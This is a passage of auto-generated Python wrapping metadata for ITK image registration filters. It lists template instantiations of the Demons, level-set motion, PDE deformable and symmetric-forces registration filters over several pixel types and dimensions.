('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIF2IF2IVF32', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIF3IF3IVF33', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIF2IF2IVF42', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIF3IF3IVF43', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('MultiResolutionPDEDeformableRegistration', 'itk::MultiResolutionPDEDeformableRegistration', 'itkMultiResolutionPDEDeformableRegistrationIF2IF2IVF22F', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >, 2 >, float'),\n ('MultiResolutionPDEDeformableRegistration', 'itk::MultiResolutionPDEDeformableRegistration', 'itkMultiResolutionPDEDeformableRegistrationIF3IF3IVF33F', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >, 3 >, float'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterISS2ISS2IVF22', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterISS3ISS3IVF23', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterISS2ISS2IVF32', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterISS3ISS3IVF33', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterISS2ISS2IVF42', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterISS3ISS3IVF43', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUC2IUC2IVF22', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUC3IUC3IVF23', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUC2IUC2IVF32', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUC3IUC3IVF33', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUC2IUC2IVF42', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUC3IUC3IVF43', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUS2IUS2IVF22', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUS3IUS3IVF23', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUS2IUS2IVF32', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUS3IUS3IVF33', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUS2IUS2IVF42', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIUS3IUS3IVF43', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIF2IF2IVF22', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIF3IF3IVF23', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIF2IF2IVF32', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIF3IF3IVF33', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIF2IF2IVF42', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('PDEDeformableRegistrationFilter', 'itk::PDEDeformableRegistrationFilter', 'itkPDEDeformableRegistrationFilterIF3IF3IVF43', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterISS2ISS2IVF22', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterISS3ISS3IVF23', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterISS2ISS2IVF32', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterISS3ISS3IVF33', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterISS2ISS2IVF42', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterISS3ISS3IVF43', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUC2IUC2IVF22', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUC3IUC3IVF23', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUC2IUC2IVF32', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUC3IUC3IVF33', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUC2IUC2IVF42', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUC3IUC3IVF43', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUS2IUS2IVF22', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUS3IUS3IVF23', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUS2IUS2IVF32', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUS3IUS3IVF33', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUS2IUS2IVF42', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIUS3IUS3IVF43', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIF2IF2IVF22', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIF3IF3IVF23', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIF2IF2IVF32', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIF3IF3IVF33', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIF2IF2IVF42', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('SymmetricForcesDemonsRegistrationFilter', 'itk::SymmetricForcesDemonsRegistrationFilter', 'itkSymmetricForcesDemonsRegistrationFilterIF3IF3IVF43', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n)\nsnake_case_functions = ('level_set_motion_registration_filter', 'pde_deformable_registration_filter', 'symmetric_forces_demons_registration_filter', 'demons_registration_filter', 'multi_resolution_pde_deformable_registration', )\n", "depends = 'ITKPyBase', 'ITKRegistrationCommon', 'ITKFiniteDifference'\ntemplates = ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterISS2ISS2IVF22', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterISS3ISS3IVF23', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterISS2ISS2IVF32', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterISS3ISS3IVF33', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterISS2ISS2IVF42', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterISS3ISS3IVF43', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUC2IUC2IVF22', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUC3IUC3IVF23', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUC2IUC2IVF32', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUC3IUC3IVF33', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUC2IUC2IVF42', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUC3IUC3IVF43', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUS2IUS2IVF22', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUS3IUS3IVF23', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUS2IUS2IVF32', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUS3IUS3IVF33', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUS2IUS2IVF42', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIUS3IUS3IVF43', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIF2IF2IVF22', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIF3IF3IVF23', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIF2IF2IVF32', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIF3IF3IVF33', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIF2IF2IVF42', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter',\n 'itkDemonsRegistrationFilterIF3IF3IVF43', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterISS2ISS2IVF22', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterISS3ISS3IVF23', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterISS2ISS2IVF32', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterISS3ISS3IVF33', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterISS2ISS2IVF42', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterISS3ISS3IVF43', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUC2IUC2IVF22', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUC3IUC3IVF23', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUC2IUC2IVF32', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUC3IUC3IVF33', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUC2IUC2IVF42', True,\n 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUC3IUC3IVF43', True,\n 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUS2IUS2IVF22', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUS3IUS3IVF23', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUS2IUS2IVF32', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUS3IUS3IVF33', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUS2IUS2IVF42', True,\n 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIUS3IUS3IVF43', True,\n 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIF2IF2IVF22', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIF3IF3IVF23', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIF2IF2IVF32', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIF3IF3IVF33', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIF2IF2IVF42', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('LevelSetMotionRegistrationFilter',\n 'itk::LevelSetMotionRegistrationFilter',\n 'itkLevelSetMotionRegistrationFilterIF3IF3IVF43', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('MultiResolutionPDEDeformableRegistration',\n 'itk::MultiResolutionPDEDeformableRegistration',\n 'itkMultiResolutionPDEDeformableRegistrationIF2IF2IVF22F', True,\n 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >, 2 >, float'\n ), ('MultiResolutionPDEDeformableRegistration',\n 'itk::MultiResolutionPDEDeformableRegistration',\n 'itkMultiResolutionPDEDeformableRegistrationIF3IF3IVF33F', True,\n 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >, 3 >, float'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterISS2ISS2IVF22', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterISS3ISS3IVF23', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterISS2ISS2IVF32', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterISS3ISS3IVF33', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterISS2ISS2IVF42', True,\n 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 'itkPDEDeformableRegistrationFilterISS3ISS3IVF43', True,\n 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'\n ), ('PDEDeformableRegistrationFilter',\n 'itk::PDEDeformableRegistrationFilter',\n 